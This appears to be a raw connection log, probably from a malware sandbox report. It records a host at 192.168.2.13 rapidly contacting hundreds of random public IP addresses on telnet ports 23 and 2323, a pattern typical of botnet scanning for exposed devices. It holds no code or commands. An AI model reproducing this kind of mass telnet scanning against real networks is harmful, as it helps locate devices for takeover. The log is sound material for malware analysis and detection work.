Apr 15, 2024 08:51:55.231003046 CEST	4590	23	192.168.2.13	111.253.104.100
Apr 15, 2024 08:51:55.231003046 CEST	4590	23	192.168.2.13	36.143.80.98
Apr 15, 2024 08:51:55.231004000 CEST	4590	23	192.168.2.13	60.40.154.5
Apr 15, 2024 08:51:55.231004000 CEST	4590	23	192.168.2.13	1.244.117.206
Apr 15, 2024 08:51:55.231005907 CEST	4590	23	192.168.2.13	135.189.74.121
Apr 15, 2024 08:51:55.231009007 CEST	4590	23	192.168.2.13	195.199.145.33
Apr 15, 2024 08:51:55.231015921 CEST	4590	23	192.168.2.13	207.185.33.254
Apr 15, 2024 08:51:55.231017113 CEST	4590	2323	192.168.2.13	201.203.114.9
Apr 15, 2024 08:51:55.231021881 CEST	4590	23	192.168.2.13	177.122.0.62
Apr 15, 2024 08:51:55.231021881 CEST	4590	23	192.168.2.13	62.161.121.164
Apr 15, 2024 08:51:55.231034994 CEST	4590	2323	192.168.2.13	163.226.129.72
Apr 15, 2024 08:51:55.231034994 CEST	4590	23	192.168.2.13	89.90.213.168
Apr 15, 2024 08:51:55.231034994 CEST	4590	23	192.168.2.13	67.11.39.46
Apr 15, 2024 08:51:55.231034994 CEST	4590	23	192.168.2.13	135.17.56.177
Apr 15, 2024 08:51:55.231045961 CEST	4590	23	192.168.2.13	221.139.95.123
Apr 15, 2024 08:51:55.231060982 CEST	4590	23	192.168.2.13	155.159.231.16
Apr 15, 2024 08:51:55.231060982 CEST	4590	23	192.168.2.13	43.159.206.2
Apr 15, 2024 08:51:55.231066942 CEST	4590	23	192.168.2.13	155.152.99.208
Apr 15, 2024 08:51:55.231066942 CEST	4590	23	192.168.2.13	64.217.150.49
Apr 15, 2024 08:51:55.231066942 CEST	4590	23	192.168.2.13	221.246.50.175
Apr 15, 2024 08:51:55.231066942 CEST	4590	23	192.168.2.13	150.116.116.91
Apr 15, 2024 08:51:55.231080055 CEST	4590	23	192.168.2.13	157.210.197.74
Apr 15, 2024 08:51:55.231080055 CEST	4590	23	192.168.2.13	75.155.204.85
Apr 15, 2024 08:51:55.231092930 CEST	4590	2323	192.168.2.13	51.227.234.75
Apr 15, 2024 08:51:55.231093884 CEST	4590	23	192.168.2.13	116.65.65.27
Apr 15, 2024 08:51:55.231093884 CEST	4590	23	192.168.2.13	32.192.103.219
Apr 15, 2024 08:51:55.231096029 CEST	4590	23	192.168.2.13	202.146.201.212
Apr 15, 2024 08:51:55.231097937 CEST	4590	23	192.168.2.13	133.75.98.187
Apr 15, 2024 08:51:55.231098890 CEST	4590	23	192.168.2.13	199.55.238.179
Apr 15, 2024 08:51:55.231112957 CEST	4590	23	192.168.2.13	171.1.237.181
Apr 15, 2024 08:51:55.231112957 CEST	4590	23	192.168.2.13	95.236.8.144
Apr 15, 2024 08:51:55.231112957 CEST	4590	23	192.168.2.13	43.239.12.203
Apr 15, 2024 08:51:55.231112957 CEST	4590	2323	192.168.2.13	60.167.57.32
Apr 15, 2024 08:51:55.231117010 CEST	4590	23	192.168.2.13	186.93.22.65
Apr 15, 2024 08:51:55.231117964 CEST	4590	23	192.168.2.13	158.20.182.16
Apr 15, 2024 08:51:55.231117964 CEST	4590	23	192.168.2.13	180.151.149.114
Apr 15, 2024 08:51:55.231131077 CEST	4590	23	192.168.2.13	168.58.33.78
Apr 15, 2024 08:51:55.231134892 CEST	4590	23	192.168.2.13	69.161.99.119
Apr 15, 2024 08:51:55.231134892 CEST	4590	23	192.168.2.13	114.204.88.163
Apr 15, 2024 08:51:55.231134892 CEST	4590	23	192.168.2.13	180.62.87.1
Apr 15, 2024 08:51:55.231134892 CEST	4590	23	192.168.2.13	106.52.216.41
Apr 15, 2024 08:51:55.231134892 CEST	4590	2323	192.168.2.13	25.212.0.113
Apr 15, 2024 08:51:55.231137991 CEST	4590	23	192.168.2.13	65.165.121.37
Apr 15, 2024 08:51:55.231139898 CEST	4590	23	192.168.2.13	133.253.43.11
Apr 15, 2024 08:51:55.231144905 CEST	4590	23	192.168.2.13	185.244.163.11
Apr 15, 2024 08:51:55.231153965 CEST	4590	23	192.168.2.13	158.225.166.31
Apr 15, 2024 08:51:55.231168032 CEST	4590	23	192.168.2.13	103.215.143.119
Apr 15, 2024 08:51:55.231168032 CEST	4590	23	192.168.2.13	208.0.86.1
Apr 15, 2024 08:51:55.231168032 CEST	4590	23	192.168.2.13	167.14.196.210
Apr 15, 2024 08:51:55.231168032 CEST	4590	23	192.168.2.13	9.108.130.230
Apr 15, 2024 08:51:55.231188059 CEST	4590	23	192.168.2.13	80.18.47.161
Apr 15, 2024 08:51:55.231189013 CEST	4590	23	192.168.2.13	147.13.174.11
Apr 15, 2024 08:51:55.231189966 CEST	4590	23	192.168.2.13	176.96.138.7
Apr 15, 2024 08:51:55.231190920 CEST	4590	2323	192.168.2.13	154.249.114.33
Apr 15, 2024 08:51:55.231190920 CEST	4590	23	192.168.2.13	118.0.224.84
Apr 15, 2024 08:51:55.231209040 CEST	4590	23	192.168.2.13	99.63.241.255
Apr 15, 2024 08:51:55.231209040 CEST	4590	23	192.168.2.13	223.11.172.194
Apr 15, 2024 08:51:55.231209993 CEST	4590	23	192.168.2.13	8.179.9.48
Apr 15, 2024 08:51:55.231209040 CEST	4590	23	192.168.2.13	187.188.1.162
Apr 15, 2024 08:51:55.231209993 CEST	4590	23	192.168.2.13	196.156.204.28
Apr 15, 2024 08:51:55.231215954 CEST	4590	23	192.168.2.13	206.12.218.195
Apr 15, 2024 08:51:55.231220961 CEST	4590	23	192.168.2.13	133.95.132.105
Apr 15, 2024 08:51:55.231220961 CEST	4590	23	192.168.2.13	162.187.225.244
Apr 15, 2024 08:51:55.231229067 CEST	4590	23	192.168.2.13	103.1.111.240
Apr 15, 2024 08:51:55.231229067 CEST	4590	2323	192.168.2.13	129.219.253.24
Apr 15, 2024 08:51:55.231241941 CEST	4590	23	192.168.2.13	158.9.109.242
Apr 15, 2024 08:51:55.231241941 CEST	4590	23	192.168.2.13	202.11.44.150
Apr 15, 2024 08:51:55.231242895 CEST	4590	23	192.168.2.13	139.204.142.57
Apr 15, 2024 08:51:55.231241941 CEST	4590	23	192.168.2.13	178.147.185.110
Apr 15, 2024 08:51:55.231254101 CEST	4590	23	192.168.2.13	188.166.34.124
Apr 15, 2024 08:51:55.231266975 CEST	4590	23	192.168.2.13	72.146.2.34
Apr 15, 2024 08:51:55.231276035 CEST	4590	23	192.168.2.13	108.33.184.39
Apr 15, 2024 08:51:55.231285095 CEST	4590	23	192.168.2.13	114.168.79.149
Apr 15, 2024 08:51:55.231286049 CEST	4590	2323	192.168.2.13	119.192.192.216
Apr 15, 2024 08:51:55.231287956 CEST	4590	23	192.168.2.13	186.141.134.60
Apr 15, 2024 08:51:55.231287956 CEST	4590	23	192.168.2.13	46.130.59.15
Apr 15, 2024 08:51:55.231292963 CEST	4590	23	192.168.2.13	117.77.252.220
Apr 15, 2024 08:51:55.231295109 CEST	4590	23	192.168.2.13	70.135.139.249
Apr 15, 2024 08:51:55.231298923 CEST	4590	23	192.168.2.13	185.126.153.188
Apr 15, 2024 08:51:55.231298923 CEST	4590	23	192.168.2.13	148.104.113.122
Apr 15, 2024 08:51:55.231312037 CEST	4590	23	192.168.2.13	106.110.183.194
Apr 15, 2024 08:51:55.231317997 CEST	4590	23	192.168.2.13	86.199.104.187
Apr 15, 2024 08:51:55.231317997 CEST	4590	2323	192.168.2.13	78.202.79.69
Apr 15, 2024 08:51:55.231318951 CEST	4590	23	192.168.2.13	70.69.199.109
Apr 15, 2024 08:51:55.231318951 CEST	4590	23	192.168.2.13	88.73.230.104
Apr 15, 2024 08:51:55.231334925 CEST	4590	23	192.168.2.13	205.193.124.218
Apr 15, 2024 08:51:55.231342077 CEST	4590	23	192.168.2.13	164.144.42.49
Apr 15, 2024 08:51:55.231352091 CEST	4590	23	192.168.2.13	77.183.238.87
Apr 15, 2024 08:51:55.231355906 CEST	4590	23	192.168.2.13	165.98.111.75
Apr 15, 2024 08:51:55.231359005 CEST	4590	23	192.168.2.13	153.125.175.63
Apr 15, 2024 08:51:55.231359005 CEST	4590	23	192.168.2.13	124.178.4.29
Apr 15, 2024 08:51:55.231359005 CEST	4590	23	192.168.2.13	129.111.87.102
Apr 15, 2024 08:51:55.231359005 CEST	4590	23	192.168.2.13	34.185.0.40
Apr 15, 2024 08:51:55.231359005 CEST	4590	23	192.168.2.13	146.180.254.98
Apr 15, 2024 08:51:55.231359959 CEST	4590	23	192.168.2.13	201.183.226.65
Apr 15, 2024 08:51:55.231369019 CEST	4590	23	192.168.2.13	101.26.71.169
Apr 15, 2024 08:51:55.231369019 CEST	4590	2323	192.168.2.13	5.74.245.13
Apr 15, 2024 08:51:55.231369019 CEST	4590	23	192.168.2.13	57.155.161.69
Apr 15, 2024 08:51:55.231369019 CEST	4590	23	192.168.2.13	42.109.161.24
Apr 15, 2024 08:51:55.231369019 CEST	4590	23	192.168.2.13	27.36.53.96
Apr 15, 2024 08:51:55.231374025 CEST	4590	23	192.168.2.13	173.201.29.169
Apr 15, 2024 08:51:55.231389046 CEST	4590	23	192.168.2.13	57.209.169.86
Apr 15, 2024 08:51:55.231389046 CEST	4590	2323	192.168.2.13	152.85.115.120
Apr 15, 2024 08:51:55.231389999 CEST	4590	23	192.168.2.13	123.176.198.247
Apr 15, 2024 08:51:55.231404066 CEST	4590	23	192.168.2.13	167.211.101.174
Apr 15, 2024 08:51:55.231419086 CEST	4590	23	192.168.2.13	88.64.184.236
Apr 15, 2024 08:51:55.231419086 CEST	4590	23	192.168.2.13	117.27.91.110
Apr 15, 2024 08:51:55.231419086 CEST	4590	23	192.168.2.13	97.160.107.102
Apr 15, 2024 08:51:55.231419086 CEST	4590	23	192.168.2.13	32.146.211.157
Apr 15, 2024 08:51:55.231431961 CEST	4590	23	192.168.2.13	122.172.26.133
Apr 15, 2024 08:51:55.231432915 CEST	4590	23	192.168.2.13	143.72.18.81
Apr 15, 2024 08:51:55.231451035 CEST	4590	2323	192.168.2.13	115.142.62.148
Apr 15, 2024 08:51:55.231451035 CEST	4590	23	192.168.2.13	148.212.15.130
Apr 15, 2024 08:51:55.231451035 CEST	4590	23	192.168.2.13	116.41.114.39
Apr 15, 2024 08:51:55.231452942 CEST	4590	23	192.168.2.13	161.134.245.2
Apr 15, 2024 08:51:55.231451035 CEST	4590	23	192.168.2.13	181.174.226.154
Apr 15, 2024 08:51:55.231451988 CEST	4590	23	192.168.2.13	133.21.134.36
Apr 15, 2024 08:51:55.231460094 CEST	4590	23	192.168.2.13	128.210.88.84
Apr 15, 2024 08:51:55.231460094 CEST	4590	23	192.168.2.13	121.102.105.96
Apr 15, 2024 08:51:55.231462002 CEST	4590	23	192.168.2.13	39.151.70.94
Apr 15, 2024 08:51:55.231473923 CEST	4590	23	192.168.2.13	197.195.52.47
Apr 15, 2024 08:51:55.231473923 CEST	4590	23	192.168.2.13	174.42.112.125
Apr 15, 2024 08:51:55.231475115 CEST	4590	23	192.168.2.13	41.189.77.25
Apr 15, 2024 08:51:55.231484890 CEST	4590	23	192.168.2.13	104.165.188.28
Apr 15, 2024 08:51:55.231488943 CEST	4590	23	192.168.2.13	23.142.226.133
Apr 15, 2024 08:51:55.231489897 CEST	4590	2323	192.168.2.13	223.227.29.234
Apr 15, 2024 08:51:55.231489897 CEST	4590	23	192.168.2.13	159.242.19.178
Apr 15, 2024 08:51:55.231491089 CEST	4590	23	192.168.2.13	94.167.49.217
Apr 15, 2024 08:51:55.231491089 CEST	4590	23	192.168.2.13	18.196.160.176
Apr 15, 2024 08:51:55.231491089 CEST	4590	23	192.168.2.13	207.205.183.43
Apr 15, 2024 08:51:55.231491089 CEST	4590	23	192.168.2.13	144.55.156.147
Apr 15, 2024 08:51:55.231499910 CEST	4590	23	192.168.2.13	117.230.82.249
Apr 15, 2024 08:51:55.231508017 CEST	4590	23	192.168.2.13	175.147.244.218
Apr 15, 2024 08:51:55.231513023 CEST	4590	23	192.168.2.13	73.131.48.180
Apr 15, 2024 08:51:55.231525898 CEST	4590	2323	192.168.2.13	161.69.93.60
Apr 15, 2024 08:51:55.231532097 CEST	4590	23	192.168.2.13	185.163.27.171
Apr 15, 2024 08:51:55.231534958 CEST	4590	23	192.168.2.13	178.223.143.172
Apr 15, 2024 08:51:55.231534958 CEST	4590	23	192.168.2.13	193.65.66.75
Apr 15, 2024 08:51:55.231544018 CEST	4590	23	192.168.2.13	136.186.242.90
Apr 15, 2024 08:51:55.231544018 CEST	4590	23	192.168.2.13	44.162.246.20
Apr 15, 2024 08:51:55.231548071 CEST	4590	23	192.168.2.13	69.75.30.123
Apr 15, 2024 08:51:55.231559992 CEST	4590	23	192.168.2.13	129.226.163.111
Apr 15, 2024 08:51:55.231564045 CEST	4590	23	192.168.2.13	122.231.69.218
Apr 15, 2024 08:51:55.231564045 CEST	4590	2323	192.168.2.13	198.138.87.183
Apr 15, 2024 08:51:55.231573105 CEST	4590	23	192.168.2.13	32.185.163.112
Apr 15, 2024 08:51:55.231586933 CEST	4590	23	192.168.2.13	203.34.246.129
Apr 15, 2024 08:51:55.231595039 CEST	4590	23	192.168.2.13	99.184.111.58
Apr 15, 2024 08:51:55.231602907 CEST	4590	23	192.168.2.13	76.156.202.167
Apr 15, 2024 08:51:55.231602907 CEST	4590	23	192.168.2.13	172.206.236.203
Apr 15, 2024 08:51:55.231609106 CEST	4590	23	192.168.2.13	188.185.42.133
Apr 15, 2024 08:51:55.231609106 CEST	4590	23	192.168.2.13	156.52.13.158
Apr 15, 2024 08:51:55.231609106 CEST	4590	23	192.168.2.13	19.185.41.205
Apr 15, 2024 08:51:55.231609106 CEST	4590	2323	192.168.2.13	150.133.87.45
Apr 15, 2024 08:51:55.231617928 CEST	4590	23	192.168.2.13	80.185.65.120
Apr 15, 2024 08:51:55.231617928 CEST	4590	23	192.168.2.13	103.103.29.46
Apr 15, 2024 08:51:55.231617928 CEST	4590	23	192.168.2.13	50.151.134.19
Apr 15, 2024 08:51:55.231617928 CEST	4590	23	192.168.2.13	134.190.97.230
Apr 15, 2024 08:51:55.231628895 CEST	4590	23	192.168.2.13	5.107.29.85
Apr 15, 2024 08:51:55.231628895 CEST	4590	23	192.168.2.13	68.249.166.89
Apr 15, 2024 08:51:55.231631041 CEST	4590	23	192.168.2.13	206.195.138.83
Apr 15, 2024 08:51:55.231631041 CEST	4590	23	192.168.2.13	134.142.110.43
Apr 15, 2024 08:51:55.231636047 CEST	4590	23	192.168.2.13	9.200.49.78
Apr 15, 2024 08:51:55.231657982 CEST	4590	23	192.168.2.13	130.198.72.238
Apr 15, 2024 08:51:55.231658936 CEST	4590	23	192.168.2.13	217.56.16.173
Apr 15, 2024 08:51:55.231663942 CEST	4590	23	192.168.2.13	96.200.210.156
Apr 15, 2024 08:51:55.231663942 CEST	4590	23	192.168.2.13	118.107.75.145
Apr 15, 2024 08:51:55.231678009 CEST	4590	23	192.168.2.13	49.0.106.65
Apr 15, 2024 08:51:55.231678009 CEST	4590	23	192.168.2.13	57.168.41.156
Apr 15, 2024 08:51:55.231683969 CEST	4590	23	192.168.2.13	19.217.165.66
Apr 15, 2024 08:51:55.231683969 CEST	4590	23	192.168.2.13	14.147.142.167
Apr 15, 2024 08:51:55.231684923 CEST	4590	23	192.168.2.13	92.40.139.43
Apr 15, 2024 08:51:55.231698036 CEST	4590	2323	192.168.2.13	132.22.42.162
Apr 15, 2024 08:51:55.231704950 CEST	4590	23	192.168.2.13	113.67.51.5
Apr 15, 2024 08:51:55.231704950 CEST	4590	23	192.168.2.13	179.97.117.167
Apr 15, 2024 08:51:55.231709957 CEST	4590	23	192.168.2.13	70.203.97.222
Apr 15, 2024 08:51:55.231710911 CEST	4590	23	192.168.2.13	133.17.162.97
Apr 15, 2024 08:51:55.231710911 CEST	4590	23	192.168.2.13	173.199.212.3
Apr 15, 2024 08:51:55.231722116 CEST	4590	2323	192.168.2.13	114.0.3.167
Apr 15, 2024 08:51:55.231722116 CEST	4590	23	192.168.2.13	38.73.108.215
Apr 15, 2024 08:51:55.231722116 CEST	4590	23	192.168.2.13	210.217.102.255
Apr 15, 2024 08:51:55.231724024 CEST	4590	23	192.168.2.13	141.86.54.150
Apr 15, 2024 08:51:55.231724024 CEST	4590	23	192.168.2.13	175.124.190.187
Apr 15, 2024 08:51:55.231729984 CEST	4590	23	192.168.2.13	162.181.240.217
Apr 15, 2024 08:51:55.231734991 CEST	4590	23	192.168.2.13	174.217.191.87
Apr 15, 2024 08:51:55.231741905 CEST	4590	23	192.168.2.13	70.18.17.117
Apr 15, 2024 08:51:55.231741905 CEST	4590	23	192.168.2.13	47.129.245.224
Apr 15, 2024 08:51:55.231745005 CEST	4590	2323	192.168.2.13	148.142.185.30
Apr 15, 2024 08:51:55.231745005 CEST	4590	23	192.168.2.13	41.224.64.54
Apr 15, 2024 08:51:55.231748104 CEST	4590	23	192.168.2.13	103.127.34.147
Apr 15, 2024 08:51:55.231760025 CEST	4590	23	192.168.2.13	37.146.222.125
Apr 15, 2024 08:51:55.231760025 CEST	4590	23	192.168.2.13	111.86.217.80
Apr 15, 2024 08:51:55.231760025 CEST	4590	23	192.168.2.13	130.221.221.94
Apr 15, 2024 08:51:55.231760025 CEST	4590	23	192.168.2.13	24.205.82.246
Apr 15, 2024 08:51:55.231760979 CEST	4590	23	192.168.2.13	220.44.79.247
Apr 15, 2024 08:51:55.231760025 CEST	4590	23	192.168.2.13	136.172.81.12
Apr 15, 2024 08:51:55.231760979 CEST	4590	23	192.168.2.13	147.114.195.175
Apr 15, 2024 08:51:55.231760025 CEST	4590	2323	192.168.2.13	99.130.94.90
Apr 15, 2024 08:51:55.231784105 CEST	4590	23	192.168.2.13	150.234.238.133
Apr 15, 2024 08:51:55.231784105 CEST	4590	23	192.168.2.13	135.9.149.132
Apr 15, 2024 08:51:55.231785059 CEST	4590	23	192.168.2.13	189.169.160.53
Apr 15, 2024 08:51:55.231800079 CEST	4590	23	192.168.2.13	120.63.121.163
Apr 15, 2024 08:51:55.231801987 CEST	4590	2323	192.168.2.13	190.225.39.87
Apr 15, 2024 08:51:55.231803894 CEST	4590	23	192.168.2.13	219.194.86.174
Apr 15, 2024 08:51:55.231806993 CEST	4590	23	192.168.2.13	57.234.232.161
Apr 15, 2024 08:51:55.231806993 CEST	4590	23	192.168.2.13	174.89.89.252
Apr 15, 2024 08:51:55.231811047 CEST	4590	23	192.168.2.13	183.108.242.77
Apr 15, 2024 08:51:55.231828928 CEST	4590	23	192.168.2.13	109.104.255.180
Apr 15, 2024 08:51:55.231837988 CEST	4590	23	192.168.2.13	96.67.254.110
Apr 15, 2024 08:51:55.231837988 CEST	4590	23	192.168.2.13	171.70.99.61
Apr 15, 2024 08:51:55.231843948 CEST	4590	23	192.168.2.13	93.22.31.205
Apr 15, 2024 08:51:55.231844902 CEST	4590	23	192.168.2.13	51.17.191.18
Apr 15, 2024 08:51:55.231843948 CEST	4590	23	192.168.2.13	193.56.252.191
Apr 15, 2024 08:51:55.231844902 CEST	4590	23	192.168.2.13	192.211.94.253
Apr 15, 2024 08:51:55.231859922 CEST	4590	23	192.168.2.13	18.172.98.32
Apr 15, 2024 08:51:55.231859922 CEST	4590	23	192.168.2.13	199.168.171.38
Apr 15, 2024 08:51:55.231861115 CEST	4590	23	192.168.2.13	150.84.196.29
Apr 15, 2024 08:51:55.231863022 CEST	4590	2323	192.168.2.13	147.210.190.113
Apr 15, 2024 08:51:55.231879950 CEST	4590	23	192.168.2.13	172.34.44.67
Apr 15, 2024 08:51:55.231879950 CEST	4590	23	192.168.2.13	120.233.204.202
Apr 15, 2024 08:51:55.231882095 CEST	4590	23	192.168.2.13	192.155.250.139
Apr 15, 2024 08:51:55.231882095 CEST	4590	23	192.168.2.13	32.13.180.115
Apr 15, 2024 08:51:55.231893063 CEST	4590	23	192.168.2.13	197.125.26.11
Apr 15, 2024 08:51:55.231894016 CEST	4590	2323	192.168.2.13	24.55.117.12
Apr 15, 2024 08:51:55.231903076 CEST	4590	23	192.168.2.13	118.120.130.92
Apr 15, 2024 08:51:55.231903076 CEST	4590	23	192.168.2.13	76.237.252.25
Apr 15, 2024 08:51:55.231903076 CEST	4590	23	192.168.2.13	205.47.133.49
Apr 15, 2024 08:51:55.231904030 CEST	4590	23	192.168.2.13	34.36.208.189
Apr 15, 2024 08:51:55.231904030 CEST	4590	23	192.168.2.13	178.252.127.225
Apr 15, 2024 08:51:55.231905937 CEST	4590	23	192.168.2.13	39.75.168.179
Apr 15, 2024 08:51:55.231905937 CEST	4590	23	192.168.2.13	102.61.193.184
Apr 15, 2024 08:51:55.231905937 CEST	4590	23	192.168.2.13	216.192.180.17
Apr 15, 2024 08:51:55.231904984 CEST	4590	23	192.168.2.13	24.170.171.231
Apr 15, 2024 08:51:55.231911898 CEST	4590	23	192.168.2.13	124.37.16.131
Apr 15, 2024 08:51:55.231918097 CEST	4590	2323	192.168.2.13	57.107.33.252
Apr 15, 2024 08:51:55.231928110 CEST	4590	23	192.168.2.13	50.107.181.46
Apr 15, 2024 08:51:55.231928110 CEST	4590	23	192.168.2.13	197.110.59.41
Apr 15, 2024 08:51:55.231941938 CEST	4590	23	192.168.2.13	87.5.195.67
Apr 15, 2024 08:51:55.231947899 CEST	4590	23	192.168.2.13	46.153.21.139
Apr 15, 2024 08:51:55.231960058 CEST	4590	23	192.168.2.13	51.49.123.2
Apr 15, 2024 08:51:55.231964111 CEST	4590	23	192.168.2.13	156.26.235.8
Apr 15, 2024 08:51:55.231969118 CEST	4590	23	192.168.2.13	221.147.110.193
Apr 15, 2024 08:51:55.231969118 CEST	4590	23	192.168.2.13	61.228.234.63
Apr 15, 2024 08:51:55.231971025 CEST	4590	2323	192.168.2.13	9.229.11.25
Apr 15, 2024 08:51:55.231985092 CEST	4590	23	192.168.2.13	19.250.15.111
Apr 15, 2024 08:51:55.231985092 CEST	4590	23	192.168.2.13	160.199.148.174
Apr 15, 2024 08:51:55.232002974 CEST	4590	23	192.168.2.13	154.156.145.128
Apr 15, 2024 08:51:55.232002974 CEST	4590	23	192.168.2.13	186.248.59.209
Apr 15, 2024 08:51:55.232002974 CEST	4590	23	192.168.2.13	8.105.126.174
Apr 15, 2024 08:51:55.232002974 CEST	4590	23	192.168.2.13	203.36.195.173
Apr 15, 2024 08:51:55.232002974 CEST	4590	23	192.168.2.13	9.205.207.108
Apr 15, 2024 08:51:55.232012987 CEST	4590	23	192.168.2.13	41.15.106.155
Apr 15, 2024 08:51:55.232023954 CEST	4590	2323	192.168.2.13	220.80.225.176
Apr 15, 2024 08:51:55.232024908 CEST	4590	23	192.168.2.13	76.72.171.180
Apr 15, 2024 08:51:55.232024908 CEST	4590	23	192.168.2.13	183.12.148.140
Apr 15, 2024 08:51:55.232031107 CEST	4590	23	192.168.2.13	34.157.253.123
Apr 15, 2024 08:51:55.232040882 CEST	4590	23	192.168.2.13	126.14.218.28
Apr 15, 2024 08:51:55.232040882 CEST	4590	23	192.168.2.13	213.81.207.147
Apr 15, 2024 08:51:55.232047081 CEST	4590	23	192.168.2.13	143.243.80.225
Apr 15, 2024 08:51:55.232048035 CEST	4590	23	192.168.2.13	133.187.85.202
Apr 15, 2024 08:51:55.232052088 CEST	4590	23	192.168.2.13	112.26.96.254
Apr 15, 2024 08:51:55.232052088 CEST	4590	23	192.168.2.13	67.61.236.11
Apr 15, 2024 08:51:55.232052088 CEST	4590	23	192.168.2.13	155.101.200.28
Apr 15, 2024 08:51:55.232053041 CEST	4590	23	192.168.2.13	110.108.80.41
Apr 15, 2024 08:51:55.232059956 CEST	4590	23	192.168.2.13	40.112.39.190
Apr 15, 2024 08:51:55.232060909 CEST	4590	2323	192.168.2.13	77.12.64.169
Apr 15, 2024 08:51:55.232059956 CEST	4590	23	192.168.2.13	179.114.86.44
Apr 15, 2024 08:51:55.232064962 CEST	4590	23	192.168.2.13	156.237.212.79
Apr 15, 2024 08:51:55.232079029 CEST	4590	23	192.168.2.13	145.241.216.37
Apr 15, 2024 08:51:55.232079029 CEST	4590	23	192.168.2.13	70.228.119.214
Apr 15, 2024 08:51:55.232089043 CEST	4590	23	192.168.2.13	206.108.249.91
Apr 15, 2024 08:51:55.232095003 CEST	4590	23	192.168.2.13	191.224.165.54
Apr 15, 2024 08:51:55.232105017 CEST	4590	23	192.168.2.13	18.54.42.187
Apr 15, 2024 08:51:55.232110023 CEST	4590	2323	192.168.2.13	208.42.151.173
Apr 15, 2024 08:51:55.232112885 CEST	4590	23	192.168.2.13	67.85.116.232
Apr 15, 2024 08:51:55.232112885 CEST	4590	23	192.168.2.13	23.89.162.4
Apr 15, 2024 08:51:55.232117891 CEST	4590	23	192.168.2.13	149.127.236.89
Apr 15, 2024 08:51:55.232119083 CEST	4590	23	192.168.2.13	208.71.197.157
Apr 15, 2024 08:51:55.232131958 CEST	4590	23	192.168.2.13	199.199.70.65
Apr 15, 2024 08:51:55.232135057 CEST	4590	23	192.168.2.13	52.164.161.34
Apr 15, 2024 08:51:55.232139111 CEST	4590	23	192.168.2.13	34.161.18.69
Apr 15, 2024 08:51:55.232139111 CEST	4590	23	192.168.2.13	210.35.122.78
Apr 15, 2024 08:51:55.232140064 CEST	4590	23	192.168.2.13	151.86.145.147
Apr 15, 2024 08:51:55.232140064 CEST	4590	23	192.168.2.13	202.65.41.243
Apr 15, 2024 08:51:55.232151985 CEST	4590	2323	192.168.2.13	141.186.41.12
Apr 15, 2024 08:51:55.232156992 CEST	4590	23	192.168.2.13	114.226.43.129
Apr 15, 2024 08:51:55.232156992 CEST	4590	23	192.168.2.13	44.194.246.125
Apr 15, 2024 08:51:55.232160091 CEST	4590	23	192.168.2.13	175.212.129.145
Apr 15, 2024 08:51:55.232161045 CEST	4590	23	192.168.2.13	46.19.38.192
Apr 15, 2024 08:51:55.232161045 CEST	4590	23	192.168.2.13	69.90.124.112
Apr 15, 2024 08:51:55.232161045 CEST	4590	23	192.168.2.13	69.14.162.214
Apr 15, 2024 08:51:55.232165098 CEST	4590	23	192.168.2.13	143.187.219.49
Apr 15, 2024 08:51:55.232165098 CEST	4590	23	192.168.2.13	118.237.200.39
Apr 15, 2024 08:51:55.232181072 CEST	4590	23	192.168.2.13	90.82.147.121
Apr 15, 2024 08:51:55.232181072 CEST	4590	2323	192.168.2.13	58.66.248.47
Apr 15, 2024 08:51:55.232184887 CEST	4590	23	192.168.2.13	121.23.250.39
Apr 15, 2024 08:51:55.232184887 CEST	4590	23	192.168.2.13	107.120.60.164
Apr 15, 2024 08:51:55.232199907 CEST	4590	23	192.168.2.13	195.106.84.41
Apr 15, 2024 08:51:55.232203007 CEST	4590	23	192.168.2.13	59.174.170.32
Apr 15, 2024 08:51:55.232203007 CEST	4590	23	192.168.2.13	122.225.10.231
Apr 15, 2024 08:51:55.232203007 CEST	4590	23	192.168.2.13	23.131.29.230
Apr 15, 2024 08:51:55.232203007 CEST	4590	23	192.168.2.13	86.238.195.196
Apr 15, 2024 08:51:55.232215881 CEST	4590	2323	192.168.2.13	49.112.168.126
Apr 15, 2024 08:51:55.232228041 CEST	4590	23	192.168.2.13	151.62.174.13
Apr 15, 2024 08:51:55.232235909 CEST	4590	23	192.168.2.13	104.174.59.245
Apr 15, 2024 08:51:55.232235909 CEST	4590	23	192.168.2.13	159.222.32.198
Apr 15, 2024 08:51:55.232238054 CEST	4590	23	192.168.2.13	39.164.73.94
Apr 15, 2024 08:51:55.232238054 CEST	4590	23	192.168.2.13	178.44.106.98
Apr 15, 2024 08:51:55.232240915 CEST	4590	23	192.168.2.13	43.175.61.129
Apr 15, 2024 08:51:55.232240915 CEST	4590	23	192.168.2.13	122.157.65.167
Apr 15, 2024 08:51:55.232240915 CEST	4590	23	192.168.2.13	196.251.74.125
Apr 15, 2024 08:51:55.232245922 CEST	4590	23	192.168.2.13	185.114.86.87
Apr 15, 2024 08:51:55.232245922 CEST	4590	23	192.168.2.13	223.92.67.10
Apr 15, 2024 08:51:55.232245922 CEST	4590	23	192.168.2.13	125.71.177.210
Apr 15, 2024 08:51:55.232247114 CEST	4590	23	192.168.2.13	60.158.106.129
Apr 15, 2024 08:51:55.232258081 CEST	4590	23	192.168.2.13	51.200.156.33
Apr 15, 2024 08:51:55.232259989 CEST	4590	2323	192.168.2.13	63.126.250.4
Apr 15, 2024 08:51:55.232260942 CEST	4590	23	192.168.2.13	174.114.14.99
Apr 15, 2024 08:51:55.232260942 CEST	4590	23	192.168.2.13	54.70.28.219
Apr 15, 2024 08:51:55.232263088 CEST	4590	23	192.168.2.13	156.197.79.253
Apr 15, 2024 08:51:55.232270002 CEST	4590	23	192.168.2.13	197.240.18.18
Apr 15, 2024 08:51:55.232270002 CEST	4590	23	192.168.2.13	142.244.148.109
Apr 15, 2024 08:51:55.232289076 CEST	4590	23	192.168.2.13	5.125.217.242
Apr 15, 2024 08:51:55.232289076 CEST	4590	23	192.168.2.13	120.73.203.10
Apr 15, 2024 08:51:55.232289076 CEST	4590	23	192.168.2.13	25.97.245.118
Apr 15, 2024 08:51:55.232289076 CEST	4590	23	192.168.2.13	1.216.198.106
Apr 15, 2024 08:51:55.232299089 CEST	4590	2323	192.168.2.13	126.226.237.139
Apr 15, 2024 08:51:55.232300043 CEST	4590	23	192.168.2.13	103.137.181.86
Apr 15, 2024 08:51:55.232300043 CEST	4590	23	192.168.2.13	95.215.24.238
Apr 15, 2024 08:51:55.232299089 CEST	4590	23	192.168.2.13	57.122.107.137
Apr 15, 2024 08:51:55.232300043 CEST	4590	23	192.168.2.13	99.251.106.241
Apr 15, 2024 08:51:55.232299089 CEST	4590	23	192.168.2.13	69.154.255.7
Apr 15, 2024 08:51:55.232300043 CEST	4590	23	192.168.2.13	153.88.30.89
